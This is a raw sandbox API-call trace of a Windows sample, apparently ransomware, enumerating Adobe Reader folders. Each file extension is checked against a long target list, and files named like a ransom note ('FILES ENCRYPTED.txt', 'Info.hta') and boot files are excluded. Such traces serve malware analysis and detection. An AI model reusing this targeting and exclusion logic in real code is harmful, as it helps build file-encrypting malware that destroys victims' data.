	[0178.416] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through") returned 1
	[0178.416] lstrlenW (lpString="walk-through") returned 12
	[0178.416] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="walk-through") returned -1
	[0178.416] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4282998
	[0178.418] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through") returned 107
	[0178.418] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\*", lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140f98
	[0178.418] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.418] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0178.418] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\css") returned 111
	[0178.418] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\css") returned 1
	[0178.418] lstrlenW (lpString="css") returned 3
	[0178.418] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1
	[0178.418] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x41f0448
	[0178.576] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\css") returned 111
	[0178.576] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\css\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a58
	[0178.876] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0178.876] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1
	[0178.876] lstrlenW (lpString="main-selector.css") returned 17
	[0178.876] lstrlenW (lpString=".1cd") returned 4
	[0178.878] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".3ds") returned 4
	[0178.880] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".3fr") returned 4
	[0178.880] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".3g2") returned 4
	[0178.880] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".3gp") returned 4
	[0178.880] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".7z") returned 3
	[0178.880] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1
	[0178.880] lstrlenW (lpString=".accda") returned 6
	[0178.880] lstrcmpiW (lpString1=".accda", lpString2="or.css") returned -1
	[0178.880] lstrlenW (lpString=".accdb") returned 6
	[0178.880] lstrcmpiW (lpString1=".accdb", lpString2="or.css") returned -1
	[0178.880] lstrlenW (lpString=".accdc") returned 6
	[0178.880] lstrcmpiW (lpString1=".accdc", lpString2="or.css") returned -1
	[0178.880] lstrlenW (lpString=".accde") returned 6
	[0178.880] lstrcmpiW (lpString1=".accde", lpString2="or.css") returned -1
	[0178.880] lstrlenW (lpString=".accdt") returned 6
	[0178.880] lstrcmpiW (lpString1=".accdt", lpString2="or.css") returned -1
	[0178.880] lstrlenW (lpString=".accdw") returned 6
	[0178.880] lstrcmpiW (lpString1=".accdw", lpString2="or.css") returned -1
	[0178.880] lstrlenW (lpString=".adb") returned 4
	[0178.880] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".adp") returned 4
	[0178.880] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".ai") returned 3
	[0178.880] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1
	[0178.880] lstrlenW (lpString=".ai3") returned 4
	[0178.880] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".ai4") returned 4
	[0178.880] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".ai5") returned 4
	[0178.880] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1
	[0178.880] lstrlenW (lpString=".ai6") returned 4
	[0178.881] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".ai7") returned 4
	[0178.881] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".ai8") returned 4
	[0178.881] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".anim") returned 5
	[0178.881] lstrcmpiW (lpString1=".anim", lpString2="r.css") returned -1
	[0178.881] lstrlenW (lpString=".arw") returned 4
	[0178.881] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".as") returned 3
	[0178.881] lstrcmpiW (lpString1=".as", lpString2="css") returned -1
	[0178.881] lstrlenW (lpString=".asa") returned 4
	[0178.881] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".asc") returned 4
	[0178.881] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".ascx") returned 5
	[0178.881] lstrcmpiW (lpString1=".ascx", lpString2="r.css") returned -1
	[0178.881] lstrlenW (lpString=".asm") returned 4
	[0178.881] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".asmx") returned 5
	[0178.881] lstrcmpiW (lpString1=".asmx", lpString2="r.css") returned -1
	[0178.881] lstrlenW (lpString=".asp") returned 4
	[0178.881] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".aspx") returned 5
	[0178.881] lstrcmpiW (lpString1=".aspx", lpString2="r.css") returned -1
	[0178.881] lstrlenW (lpString=".asr") returned 4
	[0178.881] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".asx") returned 4
	[0178.881] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".avi") returned 4
	[0178.881] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".avs") returned 4
	[0178.881] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".backup") returned 7
	[0178.881] lstrcmpiW (lpString1=".backup", lpString2="tor.css") returned -1
	[0178.881] lstrlenW (lpString=".bak") returned 4
	[0178.881] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1
	[0178.881] lstrlenW (lpString=".bay") returned 4
	[0178.881] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".bd") returned 3
	[0178.882] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1
	[0178.882] lstrlenW (lpString=".bin") returned 4
	[0178.882] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".bmp") returned 4
	[0178.882] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".bz2") returned 4
	[0178.882] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".c") returned 2
	[0178.882] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1
	[0178.882] lstrlenW (lpString=".cdr") returned 4
	[0178.882] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".cer") returned 4
	[0178.882] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".cf") returned 3
	[0178.882] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1
	[0178.882] lstrlenW (lpString=".cfc") returned 4
	[0178.882] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".cfm") returned 4
	[0178.882] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".cfml") returned 5
	[0178.882] lstrcmpiW (lpString1=".cfml", lpString2="r.css") returned -1
	[0178.882] lstrlenW (lpString=".cfu") returned 4
	[0178.882] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".chm") returned 4
	[0178.882] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".cin") returned 4
	[0178.882] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".class") returned 6
	[0178.882] lstrcmpiW (lpString1=".class", lpString2="or.css") returned -1
	[0178.882] lstrlenW (lpString=".clx") returned 4
	[0178.882] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".config") returned 7
	[0178.882] lstrcmpiW (lpString1=".config", lpString2="tor.css") returned -1
	[0178.882] lstrlenW (lpString=".cpp") returned 4
	[0178.882] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1
	[0178.882] lstrlenW (lpString=".cr2") returned 4
	[0178.882] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".crt") returned 4
	[0178.883] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".crw") returned 4
	[0178.883] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".cs") returned 3
	[0178.883] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1
	[0178.883] lstrlenW (lpString=".css") returned 4
	[0178.883] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0
	[0178.883] lstrlenW (lpString="main-selector.css") returned 17
	[0178.883] lstrlenW (lpString=".GTF") returned 4
	[0178.883] lstrcmpiW (lpString1=".GTF", lpString2=".css") returned 1
	[0178.883] lstrlenW (lpString="main-selector.css") returned 17
	[0178.883] lstrcmpiW (lpString1="boot.ini", lpString2="main-selector.css") returned -1
	[0178.883] lstrcmpiW (lpString1="bootfont.bin", lpString2="main-selector.css") returned -1
	[0178.883] lstrcmpiW (lpString1="ntldr", lpString2="main-selector.css") returned 1
	[0178.883] lstrcmpiW (lpString1="ntdetect.com", lpString2="main-selector.css") returned 1
	[0178.883] lstrcmpiW (lpString1="io.sys", lpString2="main-selector.css") returned -1
	[0178.883] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main-selector.css") returned -1
	[0178.883] lstrcmpiW (lpString1="Info.hta", lpString2="main-selector.css") returned -1
	[0178.883] lstrcmpiW (lpString1="fvppjh.exe", lpString2="main-selector.css") returned -1
	[0178.883] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\css\\main-selector.css") returned 129
	[0178.883] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2023, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1
	[0178.883] lstrlenW (lpString="main.css") returned 8
	[0178.883] lstrlenW (lpString=".1cd") returned 4
	[0178.883] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".3ds") returned 4
	[0178.883] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".3fr") returned 4
	[0178.883] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".3g2") returned 4
	[0178.883] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".3gp") returned 4
	[0178.883] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1
	[0178.883] lstrlenW (lpString=".7z") returned 3
	[0178.884] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1
	[0178.884] lstrlenW (lpString=".accda") returned 6
	[0178.884] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1
	[0178.884] lstrlenW (lpString=".accdb") returned 6
	[0178.884] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1
	[0178.884] lstrlenW (lpString=".accdc") returned 6
	[0178.884] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1
	[0178.884] lstrlenW (lpString=".accde") returned 6
	[0178.884] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1
	[0178.884] lstrlenW (lpString=".accdt") returned 6
	[0178.884] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1
	[0178.884] lstrlenW (lpString=".accdw") returned 6
	[0178.884] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1
	[0178.884] lstrlenW (lpString=".adb") returned 4
	[0178.884] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".adp") returned 4
	[0178.884] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".ai") returned 3
	[0178.884] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1
	[0178.884] lstrlenW (lpString=".ai3") returned 4
	[0178.884] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".ai4") returned 4
	[0178.884] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".ai5") returned 4
	[0178.884] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".ai6") returned 4
	[0178.884] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".ai7") returned 4
	[0178.884] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".ai8") returned 4
	[0178.884] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".anim") returned 5
	[0178.884] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1
	[0178.884] lstrlenW (lpString=".arw") returned 4
	[0178.884] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1
	[0178.884] lstrlenW (lpString=".as") returned 3
	[0178.884] lstrcmpiW (lpString1=".as", lpString2="css") returned -1
	[0178.884] lstrlenW (lpString=".asa") returned 4
	[0178.885] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".asc") returned 4
	[0178.885] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".ascx") returned 5
	[0178.885] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1
	[0178.885] lstrlenW (lpString=".asm") returned 4
	[0178.885] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".asmx") returned 5
	[0178.885] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1
	[0178.885] lstrlenW (lpString=".asp") returned 4
	[0178.885] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".aspx") returned 5
	[0178.885] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1
	[0178.885] lstrlenW (lpString=".asr") returned 4
	[0178.885] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".asx") returned 4
	[0178.885] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".avi") returned 4
	[0178.885] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".avs") returned 4
	[0178.885] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".backup") returned 7
	[0178.885] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1
	[0178.885] lstrlenW (lpString=".bak") returned 4
	[0178.885] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".bay") returned 4
	[0178.885] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".bd") returned 3
	[0178.885] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1
	[0178.885] lstrlenW (lpString=".bin") returned 4
	[0178.885] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".bmp") returned 4
	[0178.885] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".bz2") returned 4
	[0178.885] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1
	[0178.885] lstrlenW (lpString=".c") returned 2
	[0178.885] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1
	[0178.885] lstrlenW (lpString=".cdr") returned 4
	[0178.886] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".cer") returned 4
	[0178.886] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".cf") returned 3
	[0178.886] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1
	[0178.886] lstrlenW (lpString=".cfc") returned 4
	[0178.886] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".cfm") returned 4
	[0178.886] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".cfml") returned 5
	[0178.886] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1
	[0178.886] lstrlenW (lpString=".cfu") returned 4
	[0178.886] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".chm") returned 4
	[0178.886] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".cin") returned 4
	[0178.886] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".class") returned 6
	[0178.886] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1
	[0178.886] lstrlenW (lpString=".clx") returned 4
	[0178.886] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".config") returned 7
	[0178.886] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1
	[0178.886] lstrlenW (lpString=".cpp") returned 4
	[0178.886] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".cr2") returned 4
	[0178.886] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".crt") returned 4
	[0178.886] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".crw") returned 4
	[0178.886] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1
	[0178.886] lstrlenW (lpString=".cs") returned 3
	[0178.886] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1
	[0178.886] lstrlenW (lpString=".css") returned 4
	[0178.886] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0
	[0178.886] lstrlenW (lpString="main.css") returned 8
	[0178.886] lstrlenW (lpString=".GTF") returned 4
	[0178.887] lstrcmpiW (lpString1=".GTF", lpString2=".css") returned 1
	[0178.887] lstrlenW (lpString="main.css") returned 8
	[0178.887] lstrcmpiW (lpString1="boot.ini", lpString2="main.css") returned -1
	[0178.887] lstrcmpiW (lpString1="bootfont.bin", lpString2="main.css") returned -1
	[0178.887] lstrcmpiW (lpString1="ntldr", lpString2="main.css") returned 1
	[0178.887] lstrcmpiW (lpString1="ntdetect.com", lpString2="main.css") returned 1
	[0178.887] lstrcmpiW (lpString1="io.sys", lpString2="main.css") returned -1
	[0178.887] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main.css") returned -1
	[0178.887] lstrcmpiW (lpString1="Info.hta", lpString2="main.css") returned -1
	[0178.887] lstrcmpiW (lpString1="fvppjh.exe", lpString2="main.css") returned -1
	[0178.887] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\css\\main.css") returned 120
	[0178.887] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2023, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0
	[0178.887] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0178.887] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.887] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0178.887] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images") returned 114
	[0178.887] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images") returned 1
	[0178.887] lstrlenW (lpString="images") returned 6
	[0178.887] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="images") returned -1
	[0178.887] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x41f0448
	[0178.887] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images") returned 114
	[0178.887] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c98
	[0178.887] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0178.888] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="checkmark-2x.png", cAlternateFileName="CHECKM~2.PNG")) returned 1
	[0178.888] lstrlenW (lpString="checkmark-2x.png") returned 16
	[0178.888] lstrlenW (lpString=".1cd") returned 4
	[0178.888] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".3ds") returned 4
	[0178.888] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".3fr") returned 4
	[0178.888] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".3g2") returned 4
	[0178.888] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".3gp") returned 4
	[0178.888] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0178.888] lstrlenW (lpString=".7z") returned 3
	[0178.888] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
